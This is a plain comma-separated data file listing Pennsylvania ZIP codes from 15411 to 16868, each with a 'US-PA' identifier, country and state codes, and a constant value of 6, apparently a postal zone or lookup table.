US-PA-15411,US,PA,15411,6,,,, US-PA-15412,US,PA,15412,6,,,, US-PA-15413,US,PA,15413,6,,,, US-PA-15415,US,PA,15415,6,,,, US-PA-15416,US,PA,15416,6,,,, US-PA-15417,US,PA,15417,6,,,, US-PA-15419,US,PA,15419,6,,,, US-PA-15420,US,PA,15420,6,,,, US-PA-15421,US,PA,15421,6,,,, US-PA-15422,US,PA,15422,6,,,, US-PA-15423,US,PA,15423,6,,,, US-PA-15424,US,PA,15424,6,,,, US-PA-15425,US,PA,15425,6,,,, US-PA-15427,US,PA,15427,6,,,, US-PA-15428,US,PA,15428,6,,,, US-PA-15429,US,PA,15429,6,,,, US-PA-15430,US,PA,15430,6,,,, US-PA-15431,US,PA,15431,6,,,, US-PA-15432,US,PA,15432,6,,,, US-PA-15433,US,PA,15433,6,,,, US-PA-15434,US,PA,15434,6,,,, US-PA-15435,US,PA,15435,6,,,, US-PA-15436,US,PA,15436,6,,,, US-PA-15437,US,PA,15437,6,,,, US-PA-15438,US,PA,15438,6,,,, US-PA-15439,US,PA,15439,6,,,, US-PA-15440,US,PA,15440,6,,,, US-PA-15442,US,PA,15442,6,,,, US-PA-15443,US,PA,15443,6,,,, US-PA-15444,US,PA,15444,6,,,, US-PA-15445,US,PA,15445,6,,,, US-PA-15446,US,PA,15446,6,,,, US-PA-15447,US,PA,15447,6,,,, US-PA-15448,US,PA,15448,6,,,, US-PA-15449,US,PA,15449,6,,,, US-PA-15450,US,PA,15450,6,,,, US-PA-15451,US,PA,15451,6,,,, US-PA-15454,US,PA,15454,6,,,, US-PA-15455,US,PA,15455,6,,,, US-PA-15456,US,PA,15456,6,,,, US-PA-15458,US,PA,15458,6,,,, US-PA-15459,US,PA,15459,6,,,, US-PA-15460,US,PA,15460,6,,,, US-PA-15461,US,PA,15461,6,,,, US-PA-15462,US,PA,15462,6,,,, US-PA-15463,US,PA,15463,6,,,, US-PA-15464,US,PA,15464,6,,,, US-PA-15465,US,PA,15465,6,,,, US-PA-15466,US,PA,15466,6,,,, US-PA-15467,US,PA,15467,6,,,, US-PA-15468,US,PA,15468,6,,,, US-PA-15469,US,PA,15469,6,,,, US-PA-15470,US,PA,15470,6,,,, US-PA-15472,US,PA,15472,6,,,, US-PA-15473,US,PA,15473,6,,,, US-PA-15474,US,PA,15474,6,,,, US-PA-15475,US,PA,15475,6,,,, US-PA-15476,US,PA,15476,6,,,, US-PA-15477,US,PA,15477,6,,,, US-PA-15478,US,PA,15478,6,,,, US-PA-15479,US,PA,15479,6,,,, US-PA-15480,US,PA,15480,6,,,, US-PA-15482,US,PA,15482,6,,,, US-PA-15483,US,PA,15483,6,,,, US-PA-15484,US,PA,15484,6,,,, US-PA-15485,US,PA,15485,6,,,, US-PA-15486,US,PA,15486,6,,,, US-PA-15488,US,PA,15488,6,,,, US-PA-15489,US,PA,15489,6,,,, US-PA-15490,US,PA,15490,6,,,, US-PA-15492,US,PA,15492,6,,,, US-PA-15501,US,PA,15501,6,,,, US-PA-15502,US,PA,15502,6,,,, US-PA-15510,US,PA,15510,6,,,, US-PA-15520,US,PA,15520,6,,,, US-PA-15521,US,PA,15521,6,,,, US-PA-15522,US,PA,15522,6,,,, US-PA-15530,US,PA,15530,6,,,, US-PA-15531,US,PA,15531,6,,,, US-PA-15532,US,PA,15532,6,,,, US-PA-15533,US,PA,15533,6,,,, US-PA-15534,US,PA,15534,6,,,, US-PA-15535,US,PA,15535,6,,,, US-PA-15536,US,PA,15536,6,,,, US-PA-15537,US,PA,15537,6,,,, US-PA-15538,US,PA,15538,6,,,, US-PA-15539,US,PA,15539,6,,,, US-PA-15540,US,PA,15540,6,,,, US-PA-15541,US,PA,15541,6,,,, US-PA-15542,US,PA,15542,6,,,, US-PA-15544,US,PA,15544,6,,,, US-PA-15545,US,PA,15545,6,,,, US-PA-15546,US,PA,15546,6,,,, US-PA-15547,US,PA,15547,6,,,, US-PA-15548,US,PA,15548,6,,,, US-PA-15549,US,PA,15549,6,,,, US-PA-15550,US,PA,15550,6,,,, US-PA-15551,US,PA,15551,6,,,, US-PA-15552,US,PA,15552,6,,,, US-PA-15553,US,PA,15553,6,,,, US-PA-15554,US,PA,15554,6,,,, US-PA-15555,US,PA,15555,6,,,, US-PA-15557,US,PA,15557,6,,,, US-PA-15558,US,PA,15558,6,,,, US-PA-15559,US,PA,15559,6,,,, US-PA-15560,US,PA,15560,6,,,, US-PA-15561,US,PA,15561,6,,,, US-PA-15562,US,PA,15562,6,,,, US-PA-15563,US,PA,15563,6,,,, US-PA-15564,US,PA,15564,6,,,, US-PA-15565,US,PA,15565,6,,,, US-PA-15601,US,PA,15601,6,,,, US-PA-15605,US,PA,15605,6,,,, US-PA-15606,US,PA,15606,6,,,, US-PA-15610,US,PA,15610,6,,,, US-PA-15611,US,PA,15611,6,,,, US-PA-15612,US,PA,15612,6,,,, US-PA-15613,US,PA,15613,6,,,, US-PA-15615,US,PA,15615,6,,,, US-PA-15616,US,PA,15616,6,,,, US-PA-15617,US,PA,15617,6,,,, US-PA-15618,US,PA,15618,6,,,, US-PA-15619,US,PA,15619,6,,,, US-PA-15620,US,PA,15620,6,,,, US-PA-15621,US,PA,15621,6,,,, US-PA-15622,US,PA,15622,6,,,, US-PA-15623,US,PA,15623,6,,,, US-PA-15624,US,PA,15624,6,,,, US-PA-15625,US,PA,15625,6,,,, US-PA-15626,US,PA,15626,6,,,, US-PA-15627,US,PA,15627,6,,,, US-PA-15628,US,PA,15628,6,,,, US-PA-15629,US,PA,15629,6,,,, US-PA-15631,US,PA,15631,6,,,, US-PA-15632,US,PA,15632,6,,,, US-PA-15633,US,PA,15633,6,,,, US-PA-15634,US,PA,15634,6,,,, US-PA-15635,US,PA,15635,6,,,, US-PA-15636,US,PA,15636,6,,,, US-PA-15637,US,PA,15637,6,,,, US-PA-15638,US,PA,15638,6,,,, US-PA-15639,US,PA,15639,6,,,, US-PA-15640,US,PA,15640,6,,,, US-PA-15641,US,PA,15641,6,,,, US-PA-15642,US,PA,15642,6,,,, US-PA-15644,US,PA,15644,6,,,, US-PA-15646,US,PA,15646,6,,,, US-PA-15647,US,PA,15647,6,,,, US-PA-15650,US,PA,15650,6,,,, US-PA-15655,US,PA,15655,6,,,, US-PA-15656,US,PA,15656,6,,,, US-PA-15658,US,PA,15658,6,,,, US-PA-15660,US,PA,15660,6,,,, US-PA-15661,US,PA,15661,6,,,, US-PA-15662,US,PA,15662,6,,,, US-PA-15663,US,PA,15663,6,,,, US-PA-15664,US,PA,15664,6,,,, US-PA-15665,US,PA,15665,6,,,, US-PA-15666,US,PA,15666,6,,,, US-PA-15668,US,PA,15668,6,,,, US-PA-15670,US,PA,15670,6,,,, US-PA-15671,US,PA,15671,6,,,, US-PA-15672,US,PA,15672,6,,,, US-PA-15673,US,PA,15673,6,,,, US-PA-15674,US,PA,15674,6,,,, US-PA-15675,US,PA,15675,6,,,, US-PA-15676,US,PA,15676,6,,,, US-PA-15677,US,PA,15677,6,,,, US-PA-15678,US,PA,15678,6,,,, US-PA-15679,US,PA,15679,6,,,, US-PA-15680,US,PA,15680,6,,,, US-PA-15681,US,PA,15681,6,,,, US-PA-15682,US,PA,15682,6,,,, US-PA-15683,US,PA,15683,6,,,, US-PA-15684,US,PA,15684,6,,,, US-PA-15685,US,PA,15685,6,,,, US-PA-15686,US,PA,15686,6,,,, US-PA-15687,US,PA,15687,6,,,, US-PA-15688,US,PA,15688,6,,,, US-PA-15689,US,PA,15689,6,,,, US-PA-15690,US,PA,15690,6,,,, US-PA-15691,US,PA,15691,6,,,, US-PA-15692,US,PA,15692,6,,,, US-PA-15693,US,PA,15693,6,,,, US-PA-15695,US,PA,15695,6,,,, US-PA-15696,US,PA,15696,6,,,, US-PA-15697,US,PA,15697,6,,,, US-PA-15698,US,PA,15698,6,,,, US-PA-15701,US,PA,15701,6,,,, US-PA-15705,US,PA,15705,6,,,, US-PA-15710,US,PA,15710,6,,,, US-PA-15711,US,PA,15711,6,,,, US-PA-15712,US,PA,15712,6,,,, US-PA-15713,US,PA,15713,6,,,, US-PA-15714,US,PA,15714,6,,,, US-PA-15715,US,PA,15715,6,,,, US-PA-15716,US,PA,15716,6,,,, US-PA-15717,US,PA,15717,6,,,, US-PA-15720,US,PA,15720,6,,,, US-PA-15721,US,PA,15721,6,,,, US-PA-15722,US,PA,15722,6,,,, US-PA-15723,US,PA,15723,6,,,, US-PA-15724,US,PA,15724,6,,,, US-PA-15725,US,PA,15725,6,,,, US-PA-15727,US,PA,15727,6,,,, US-PA-15728,US,PA,15728,6,,,, US-PA-15729,US,PA,15729,6,,,, US-PA-15730,US,PA,15730,6,,,, US-PA-15731,US,PA,15731,6,,,, US-PA-15732,US,PA,15732,6,,,, US-PA-15733,US,PA,15733,6,,,, US-PA-15734,US,PA,15734,6,,,, US-PA-15736,US,PA,15736,6,,,, US-PA-15737,US,PA,15737,6,,,, US-PA-15738,US,PA,15738,6,,,, US-PA-15739,US,PA,15739,6,,,, US-PA-15741,US,PA,15741,6,,,, US-PA-15742,US,PA,15742,6,,,, US-PA-15744,US,PA,15744,6,,,, US-PA-15745,US,PA,15745,6,,,, US-PA-15746,US,PA,15746,6,,,, US-PA-15747,US,PA,15747,6,,,, US-PA-15748,US,PA,15748,6,,,, US-PA-15750,US,PA,15750,6,,,, US-PA-15752,US,PA,15752,6,,,, US-PA-15753,US,PA,15753,6,,,, US-PA-15754,US,PA,15754,6,,,, US-PA-15756,US,PA,15756,6,,,, US-PA-15757,US,PA,15757,6,,,, US-PA-15758,US,PA,15758,6,,,, US-PA-15759,US,PA,15759,6,,,, US-PA-15760,US,PA,15760,6,,,, US-PA-15761,US,PA,15761,6,,,, US-PA-15762,US,PA,15762,6,,,, US-PA-15763,US,PA,15763,6,,,, US-PA-15764,US,PA,15764,6,,,, US-PA-15765,US,PA,15765,6,,,, US-PA-15767,US,PA,15767,6,,,, US-PA-15770,US,PA,15770,6,,,, US-PA-15771,US,PA,15771,6,,,, US-PA-15772,US,PA,15772,6,,,, US-PA-15773,US,PA,15773,6,,,, US-PA-15774,US,PA,15774,6,,,, US-PA-15775,US,PA,15775,6,,,, US-PA-15776,US,PA,15776,6,,,, US-PA-15777,US,PA,15777,6,,,, US-PA-15778,US,PA,15778,6,,,, US-PA-15779,US,PA,15779,6,,,, US-PA-15780,US,PA,15780,6,,,, US-PA-15781,US,PA,15781,6,,,, US-PA-15783,US,PA,15783,6,,,, US-PA-15784,US,PA,15784,6,,,, US-PA-15801,US,PA,15801,6,,,, US-PA-15821,US,PA,15821,6,,,, US-PA-15822,US,PA,15822,6,,,, US-PA-15823,US,PA,15823,6,,,, US-PA-15824,US,PA,15824,6,,,, US-PA-15825,US,PA,15825,6,,,, US-PA-15827,US,PA,15827,6,,,, US-PA-15828,US,PA,15828,6,,,, US-PA-15829,US,PA,15829,6,,,, US-PA-15831,US,PA,15831,6,,,, US-PA-15832,US,PA,15832,6,,,, US-PA-15834,US,PA,15834,6,,,, US-PA-15840,US,PA,15840,6,,,, US-PA-15841,US,PA,15841,6,,,, US-PA-15845,US,PA,15845,6,,,, US-PA-15846,US,PA,15846,6,,,, US-PA-15847,US,PA,15847,6,,,, US-PA-15848,US,PA,15848,6,,,, US-PA-15849,US,PA,15849,6,,,, US-PA-15851,US,PA,15851,6,,,, US-PA-15853,US,PA,15853,6,,,, US-PA-15856,US,PA,15856,6,,,, US-PA-15857,US,PA,15857,6,,,, US-PA-15860,US,PA,15860,6,,,, US-PA-15861,US,PA,15861,6,,,, US-PA-15863,US,PA,15863,6,,,, US-PA-15864,US,PA,15864,6,,,, US-PA-15865,US,PA,15865,6,,,, US-PA-15866,US,PA,15866,6,,,, US-PA-15868,US,PA,15868,6,,,, US-PA-15870,US,PA,15870,6,,,, US-PA-15901,US,PA,15901,6,,,, US-PA-15902,US,PA,15902,6,,,, US-PA-15904,US,PA,15904,6,,,, US-PA-15905,US,PA,15905,6,,,, US-PA-15906,US,PA,15906,6,,,, US-PA-15907,US,PA,15907,6,,,, US-PA-15909,US,PA,15909,6,,,, US-PA-15915,US,PA,15915,6,,,, US-PA-15920,US,PA,15920,6,,,, US-PA-15921,US,PA,15921,6,,,, US-PA-15922,US,PA,15922,6,,,, US-PA-15923,US,PA,15923,6,,,, US-PA-15924,US,PA,15924,6,,,, US-PA-15925,US,PA,15925,6,,,, US-PA-15926,US,PA,15926,6,,,, US-PA-15927,US,PA,15927,6,,,, US-PA-15928,US,PA,15928,6,,,, US-PA-15929,US,PA,15929,6,,,, US-PA-15930,US,PA,15930,6,,,, US-PA-15931,US,PA,15931,6,,,, US-PA-15934,US,PA,15934,6,,,, US-PA-15935,US,PA,15935,6,,,, US-PA-15936,US,PA,15936,6,,,, US-PA-15937,US,PA,15937,6,,,, US-PA-15938,US,PA,15938,6,,,, US-PA-15940,US,PA,15940,6,,,, US-PA-15942,US,PA,15942,6,,,, US-PA-15943,US,PA,15943,6,,,, US-PA-15944,US,PA,15944,6,,,, US-PA-15945,US,PA,15945,6,,,, US-PA-15946,US,PA,15946,6,,,, US-PA-15948,US,PA,15948,6,,,, US-PA-15949,US,PA,15949,6,,,, US-PA-15951,US,PA,15951,6,,,, US-PA-15952,US,PA,15952,6,,,, US-PA-15953,US,PA,15953,6,,,, US-PA-15954,US,PA,15954,6,,,, US-PA-15955,US,PA,15955,6,,,, US-PA-15956,US,PA,15956,6,,,, US-PA-15957,US,PA,15957,6,,,, US-PA-15958,US,PA,15958,6,,,, US-PA-15959,US,PA,15959,6,,,, US-PA-15960,US,PA,15960,6,,,, US-PA-15961,US,PA,15961,6,,,, US-PA-15962,US,PA,15962,6,,,, US-PA-15963,US,PA,15963,6,,,, US-PA-16001,US,PA,16001,6,,,, US-PA-16002,US,PA,16002,6,,,, US-PA-16003,US,PA,16003,6,,,, US-PA-16016,US,PA,16016,6,,,, US-PA-16017,US,PA,16017,6,,,, US-PA-16018,US,PA,16018,6,,,, US-PA-16020,US,PA,16020,6,,,, US-PA-16021,US,PA,16021,6,,,, US-PA-16022,US,PA,16022,6,,,, US-PA-16023,US,PA,16023,6,,,, US-PA-16024,US,PA,16024,6,,,, US-PA-16025,US,PA,16025,6,,,, US-PA-16027,US,PA,16027,6,,,, US-PA-16028,US,PA,16028,6,,,, US-PA-16029,US,PA,16029,6,,,, US-PA-16030,US,PA,16030,6,,,, US-PA-16033,US,PA,16033,6,,,, US-PA-16034,US,PA,16034,6,,,, US-PA-16035,US,PA,16035,6,,,, US-PA-16036,US,PA,16036,6,,,, US-PA-16037,US,PA,16037,6,,,, US-PA-16038,US,PA,16038,6,,,, US-PA-16039,US,PA,16039,6,,,, US-PA-16040,US,PA,16040,6,,,, US-PA-16041,US,PA,16041,6,,,, US-PA-16045,US,PA,16045,6,,,, US-PA-16046,US,PA,16046,6,,,, US-PA-16048,US,PA,16048,6,,,, US-PA-16049,US,PA,16049,6,,,, US-PA-16050,US,PA,16050,6,,,, US-PA-16051,US,PA,16051,6,,,, US-PA-16052,US,PA,16052,6,,,, US-PA-16053,US,PA,16053,6,,,, US-PA-16054,US,PA,16054,6,,,, US-PA-16055,US,PA,16055,6,,,, US-PA-16056,US,PA,16056,6,,,, US-PA-16057,US,PA,16057,6,,,, US-PA-16058,US,PA,16058,6,,,, US-PA-16059,US,PA,16059,6,,,, US-PA-16061,US,PA,16061,6,,,, US-PA-16063,US,PA,16063,6,,,, US-PA-16066,US,PA,16066,6,,,, US-PA-16101,US,PA,16101,6,,,, US-PA-16102,US,PA,16102,6,,,, US-PA-16103,US,PA,16103,6,,,, US-PA-16105,US,PA,16105,6,,,, US-PA-16107,US,PA,16107,6,,,, US-PA-16108,US,PA,16108,6,,,, US-PA-16110,US,PA,16110,6,,,, US-PA-16111,US,PA,16111,6,,,, US-PA-16112,US,PA,16112,6,,,, US-PA-16113,US,PA,16113,6,,,, US-PA-16114,US,PA,16114,6,,,, US-PA-16115,US,PA,16115,6,,,, US-PA-16116,US,PA,16116,6,,,, US-PA-16117,US,PA,16117,6,,,, US-PA-16120,US,PA,16120,6,,,, US-PA-16121,US,PA,16121,6,,,, US-PA-16123,US,PA,16123,6,,,, US-PA-16124,US,PA,16124,6,,,, US-PA-16125,US,PA,16125,6,,,, US-PA-16127,US,PA,16127,6,,,, US-PA-16130,US,PA,16130,6,,,, US-PA-16131,US,PA,16131,6,,,, US-PA-16132,US,PA,16132,6,,,, US-PA-16133,US,PA,16133,6,,,, US-PA-16134,US,PA,16134,6,,,, US-PA-16136,US,PA,16136,6,,,, US-PA-16137,US,PA,16137,6,,,, US-PA-16140,US,PA,16140,6,,,, US-PA-16141,US,PA,16141,6,,,, US-PA-16142,US,PA,16142,6,,,, US-PA-16143,US,PA,16143,6,,,, US-PA-16145,US,PA,16145,6,,,, US-PA-16146,US,PA,16146,6,,,, US-PA-16148,US,PA,16148,6,,,, US-PA-16150,US,PA,16150,6,,,, US-PA-16151,US,PA,16151,6,,,, US-PA-16153,US,PA,16153,6,,,, US-PA-16154,US,PA,16154,6,,,, US-PA-16155,US,PA,16155,6,,,, US-PA-16156,US,PA,16156,6,,,, US-PA-16157,US,PA,16157,6,,,, US-PA-16159,US,PA,16159,6,,,, US-PA-16160,US,PA,16160,6,,,, US-PA-16161,US,PA,16161,6,,,, US-PA-16172,US,PA,16172,6,,,, US-PA-16201,US,PA,16201,6,,,, US-PA-16210,US,PA,16210,6,,,, US-PA-16211,US,PA,16211,6,,,, US-PA-16212,US,PA,16212,6,,,, US-PA-16213,US,PA,16213,6,,,, US-PA-16214,US,PA,16214,6,,,, US-PA-16217,US,PA,16217,6,,,, US-PA-16218,US,PA,16218,6,,,, US-PA-16220,US,PA,16220,6,,,, US-PA-16221,US,PA,16221,6,,,, US-PA-16222,US,PA,16222,6,,,, US-PA-16223,US,PA,16223,6,,,, US-PA-16224,US,PA,16224,6,,,, US-PA-16225,US,PA,16225,6,,,, US-PA-16226,US,PA,16226,6,,,, US-PA-16228,US,PA,16228,6,,,, US-PA-16229,US,PA,16229,6,,,, US-PA-16230,US,PA,16230,6,,,, US-PA-16232,US,PA,16232,6,,,, US-PA-16233,US,PA,16233,6,,,, US-PA-16234,US,PA,16234,6,,,, US-PA-16235,US,PA,16235,6,,,, US-PA-16236,US,PA,16236,6,,,, US-PA-16238,US,PA,16238,6,,,, US-PA-16239,US,PA,16239,6,,,, US-PA-16240,US,PA,16240,6,,,, US-PA-16242,US,PA,16242,6,,,, US-PA-16244,US,PA,16244,6,,,, US-PA-16245,US,PA,16245,6,,,, US-PA-16246,US,PA,16246,6,,,, US-PA-16248,US,PA,16248,6,,,, US-PA-16249,US,PA,16249,6,,,, US-PA-16250,US,PA,16250,6,,,, US-PA-16253,US,PA,16253,6,,,, US-PA-16254,US,PA,16254,6,,,, US-PA-16255,US,PA,16255,6,,,, US-PA-16256,US,PA,16256,6,,,, US-PA-16257,US,PA,16257,6,,,, US-PA-16258,US,PA,16258,6,,,, US-PA-16259,US,PA,16259,6,,,, US-PA-16260,US,PA,16260,6,,,, US-PA-16261,US,PA,16261,6,,,, US-PA-16262,US,PA,16262,6,,,, US-PA-16263,US,PA,16263,6,,,, US-PA-16301,US,PA,16301,6,,,, US-PA-16311,US,PA,16311,6,,,, US-PA-16312,US,PA,16312,6,,,, US-PA-16313,US,PA,16313,6,,,, US-PA-16314,US,PA,16314,6,,,, US-PA-16316,US,PA,16316,6,,,, US-PA-16317,US,PA,16317,6,,,, US-PA-16319,US,PA,16319,6,,,, US-PA-16321,US,PA,16321,6,,,, US-PA-16322,US,PA,16322,6,,,, US-PA-16323,US,PA,16323,6,,,, US-PA-16326,US,PA,16326,6,,,, US-PA-16327,US,PA,16327,6,,,, US-PA-16328,US,PA,16328,6,,,, US-PA-16329,US,PA,16329,6,,,, US-PA-16331,US,PA,16331,6,,,, US-PA-16332,US,PA,16332,6,,,, US-PA-16333,US,PA,16333,6,,,, US-PA-16334,US,PA,16334,6,,,, US-PA-16335,US,PA,16335,6,,,, US-PA-16340,US,PA,16340,6,,,, US-PA-16341,US,PA,16341,6,,,, US-PA-16342,US,PA,16342,6,,,, US-PA-16343,US,PA,16343,6,,,, US-PA-16344,US,PA,16344,6,,,, US-PA-16345,US,PA,16345,6,,,, US-PA-16346,US,PA,16346,6,,,, US-PA-16347,US,PA,16347,6,,,, US-PA-16350,US,PA,16350,6,,,, US-PA-16351,US,PA,16351,6,,,, US-PA-16352,US,PA,16352,6,,,, US-PA-16353,US,PA,16353,6,,,, US-PA-16354,US,PA,16354,6,,,, US-PA-16360,US,PA,16360,6,,,, US-PA-16361,US,PA,16361,6,,,, US-PA-16362,US,PA,16362,6,,,, US-PA-16364,US,PA,16364,6,,,, US-PA-16365,US,PA,16365,6,,,, US-PA-16366,US,PA,16366,6,,,, US-PA-16367,US,PA,16367,6,,,, US-PA-16368,US,PA,16368,6,,,, US-PA-16369,US,PA,16369,6,,,, US-PA-16370,US,PA,16370,6,,,, US-PA-16371,US,PA,16371,6,,,, US-PA-16372,US,PA,16372,6,,,, US-PA-16373,US,PA,16373,6,,,, US-PA-16374,US,PA,16374,6,,,, US-PA-16375,US,PA,16375,6,,,, US-PA-16388,US,PA,16388,6,,,, US-PA-16401,US,PA,16401,6,,,, US-PA-16402,US,PA,16402,6,,,, US-PA-16403,US,PA,16403,6,,,, US-PA-16404,US,PA,16404,6,,,, US-PA-16405,US,PA,16405,6,,,, US-PA-16406,US,PA,16406,6,,,, US-PA-16407,US,PA,16407,6,,,, US-PA-16410,US,PA,16410,6,,,, US-PA-16411,US,PA,16411,6,,,, US-PA-16412,US,PA,16412,6,,,, US-PA-16413,US,PA,16413,6,,,, US-PA-16415,US,PA,16415,6,,,, US-PA-16416,US,PA,16416,6,,,, US-PA-16417,US,PA,16417,6,,,, US-PA-16420,US,PA,16420,6,,,, US-PA-16421,US,PA,16421,6,,,, US-PA-16422,US,PA,16422,6,,,, US-PA-16423,US,PA,16423,6,,,, US-PA-16424,US,PA,16424,6,,,, US-PA-16426,US,PA,16426,6,,,, US-PA-16427,US,PA,16427,6,,,, US-PA-16428,US,PA,16428,6,,,, US-PA-16430,US,PA,16430,6,,,, US-PA-16432,US,PA,16432,6,,,, US-PA-16433,US,PA,16433,6,,,, US-PA-16434,US,PA,16434,6,,,, US-PA-16435,US,PA,16435,6,,,, US-PA-16436,US,PA,16436,6,,,, US-PA-16438,US,PA,16438,6,,,, US-PA-16440,US,PA,16440,6,,,, US-PA-16441,US,PA,16441,6,,,, US-PA-16442,US,PA,16442,6,,,, US-PA-16443,US,PA,16443,6,,,, US-PA-16444,US,PA,16444,6,,,, US-PA-16475,US,PA,16475,6,,,, US-PA-16501,US,PA,16501,6,,,, US-PA-16502,US,PA,16502,6,,,, US-PA-16503,US,PA,16503,6,,,, US-PA-16504,US,PA,16504,6,,,, US-PA-16505,US,PA,16505,6,,,, US-PA-16506,US,PA,16506,6,,,, US-PA-16507,US,PA,16507,6,,,, US-PA-16508,US,PA,16508,6,,,, US-PA-16509,US,PA,16509,6,,,, US-PA-16510,US,PA,16510,6,,,, US-PA-16511,US,PA,16511,6,,,, US-PA-16512,US,PA,16512,6,,,, US-PA-16514,US,PA,16514,6,,,, US-PA-16515,US,PA,16515,6,,,, US-PA-16522,US,PA,16522,6,,,, US-PA-16530,US,PA,16530,6,,,, US-PA-16531,US,PA,16531,6,,,, US-PA-16534,US,PA,16534,6,,,, US-PA-16538,US,PA,16538,6,,,, US-PA-16541,US,PA,16541,6,,,, US-PA-16544,US,PA,16544,6,,,, US-PA-16546,US,PA,16546,6,,,, US-PA-16550,US,PA,16550,6,,,, US-PA-16553,US,PA,16553,6,,,, US-PA-16563,US,PA,16563,6,,,, US-PA-16565,US,PA,16565,6,,,, US-PA-16601,US,PA,16601,6,,,, US-PA-16602,US,PA,16602,6,,,, US-PA-16603,US,PA,16603,6,,,, US-PA-16611,US,PA,16611,6,,,, US-PA-16613,US,PA,16613,6,,,, US-PA-16616,US,PA,16616,6,,,, US-PA-16617,US,PA,16617,6,,,, US-PA-16619,US,PA,16619,6,,,, US-PA-16620,US,PA,16620,6,,,, US-PA-16621,US,PA,16621,6,,,, US-PA-16622,US,PA,16622,6,,,, US-PA-16623,US,PA,16623,6,,,, US-PA-16624,US,PA,16624,6,,,, US-PA-16625,US,PA,16625,6,,,, US-PA-16627,US,PA,16627,6,,,, US-PA-16629,US,PA,16629,6,,,, US-PA-16630,US,PA,16630,6,,,, US-PA-16631,US,PA,16631,6,,,, US-PA-16633,US,PA,16633,6,,,, US-PA-16634,US,PA,16634,6,,,, US-PA-16635,US,PA,16635,6,,,, US-PA-16636,US,PA,16636,6,,,, US-PA-16637,US,PA,16637,6,,,, US-PA-16638,US,PA,16638,6,,,, US-PA-16639,US,PA,16639,6,,,, US-PA-16640,US,PA,16640,6,,,, US-PA-16641,US,PA,16641,6,,,, US-PA-16644,US,PA,16644,6,,,, US-PA-16645,US,PA,16645,6,,,, US-PA-16646,US,PA,16646,6,,,, US-PA-16647,US,PA,16647,6,,,, US-PA-16648,US,PA,16648,6,,,, US-PA-16650,US,PA,16650,6,,,, US-PA-16651,US,PA,16651,6,,,, US-PA-16652,US,PA,16652,6,,,, US-PA-16654,US,PA,16654,6,,,, US-PA-16655,US,PA,16655,6,,,, US-PA-16656,US,PA,16656,6,,,, US-PA-16657,US,PA,16657,6,,,, US-PA-16659,US,PA,16659,6,,,, US-PA-16660,US,PA,16660,6,,,, US-PA-16661,US,PA,16661,6,,,, US-PA-16662,US,PA,16662,6,,,, US-PA-16663,US,PA,16663,6,,,, US-PA-16664,US,PA,16664,6,,,, US-PA-16665,US,PA,16665,6,,,, US-PA-16666,US,PA,16666,6,,,, US-PA-16667,US,PA,16667,6,,,, US-PA-16668,US,PA,16668,6,,,, US-PA-16669,US,PA,16669,6,,,, US-PA-16670,US,PA,16670,6,,,, US-PA-16671,US,PA,16671,6,,,, US-PA-16672,US,PA,16672,6,,,, US-PA-16673,US,PA,16673,6,,,, US-PA-16674,US,PA,16674,6,,,, US-PA-16675,US,PA,16675,6,,,, US-PA-16677,US,PA,16677,6,,,, US-PA-16678,US,PA,16678,6,,,, US-PA-16679,US,PA,16679,6,,,, US-PA-16680,US,PA,16680,6,,,, US-PA-16681,US,PA,16681,6,,,, US-PA-16682,US,PA,16682,6,,,, US-PA-16683,US,PA,16683,6,,,, US-PA-16684,US,PA,16684,6,,,, US-PA-16685,US,PA,16685,6,,,, US-PA-16686,US,PA,16686,6,,,, US-PA-16689,US,PA,16689,6,,,, US-PA-16691,US,PA,16691,6,,,, US-PA-16692,US,PA,16692,6,,,, US-PA-16693,US,PA,16693,6,,,, US-PA-16694,US,PA,16694,6,,,, US-PA-16695,US,PA,16695,6,,,, US-PA-16698,US,PA,16698,6,,,, US-PA-16699,US,PA,16699,6,,,, US-PA-16701,US,PA,16701,6,,,, US-PA-16720,US,PA,16720,6,,,, US-PA-16724,US,PA,16724,6,,,, US-PA-16725,US,PA,16725,6,,,, US-PA-16726,US,PA,16726,6,,,, US-PA-16727,US,PA,16727,6,,,, US-PA-16728,US,PA,16728,6,,,, US-PA-16729,US,PA,16729,6,,,, US-PA-16730,US,PA,16730,6,,,, US-PA-16731,US,PA,16731,6,,,, US-PA-16732,US,PA,16732,6,,,, US-PA-16733,US,PA,16733,6,,,, US-PA-16734,US,PA,16734,6,,,, US-PA-16735,US,PA,16735,6,,,, US-PA-16738,US,PA,16738,6,,,, US-PA-16740,US,PA,16740,6,,,, US-PA-16743,US,PA,16743,6,,,, US-PA-16744,US,PA,16744,6,,,, US-PA-16745,US,PA,16745,6,,,, US-PA-16746,US,PA,16746,6,,,, US-PA-16748,US,PA,16748,6,,,, US-PA-16749,US,PA,16749,6,,,, US-PA-16750,US,PA,16750,6,,,, US-PA-16801,US,PA,16801,6,,,, US-PA-16802,US,PA,16802,6,,,, US-PA-16803,US,PA,16803,6,,,, US-PA-16804,US,PA,16804,6,,,, US-PA-16805,US,PA,16805,6,,,, US-PA-16820,US,PA,16820,6,,,, US-PA-16821,US,PA,16821,6,,,, US-PA-16822,US,PA,16822,6,,,, US-PA-16823,US,PA,16823,6,,,, US-PA-16825,US,PA,16825,6,,,, US-PA-16826,US,PA,16826,6,,,, US-PA-16827,US,PA,16827,6,,,, US-PA-16828,US,PA,16828,6,,,, US-PA-16829,US,PA,16829,6,,,, US-PA-16830,US,PA,16830,6,,,, US-PA-16832,US,PA,16832,6,,,, US-PA-16833,US,PA,16833,6,,,, US-PA-16834,US,PA,16834,6,,,, US-PA-16835,US,PA,16835,6,,,, US-PA-16836,US,PA,16836,6,,,, US-PA-16837,US,PA,16837,6,,,, US-PA-16838,US,PA,16838,6,,,, US-PA-16839,US,PA,16839,6,,,, US-PA-16840,US,PA,16840,6,,,, US-PA-16841,US,PA,16841,6,,,, US-PA-16843,US,PA,16843,6,,,, US-PA-16844,US,PA,16844,6,,,, US-PA-16845,US,PA,16845,6,,,, US-PA-16847,US,PA,16847,6,,,, US-PA-16848,US,PA,16848,6,,,, US-PA-16849,US,PA,16849,6,,,, US-PA-16850,US,PA,16850,6,,,, US-PA-16851,US,PA,16851,6,,,, US-PA-16852,US,PA,16852,6,,,, US-PA-16853,US,PA,16853,6,,,, US-PA-16854,US,PA,16854,6,,,, US-PA-16855,US,PA,16855,6,,,, US-PA-16856,US,PA,16856,6,,,, US-PA-16858,US,PA,16858,6,,,, US-PA-16859,US,PA,16859,6,,,, US-PA-16860,US,PA,16860,6,,,, US-PA-16861,US,PA,16861,6,,,, US-PA-16863,US,PA,16863,6,,,, US-PA-16864,US,PA,16864,6,,,, US-PA-16865,US,PA,16865,6,,,, US-PA-16866,US,PA,16866,6,,,, US-PA-16868,US,PA,16868,6,,,, 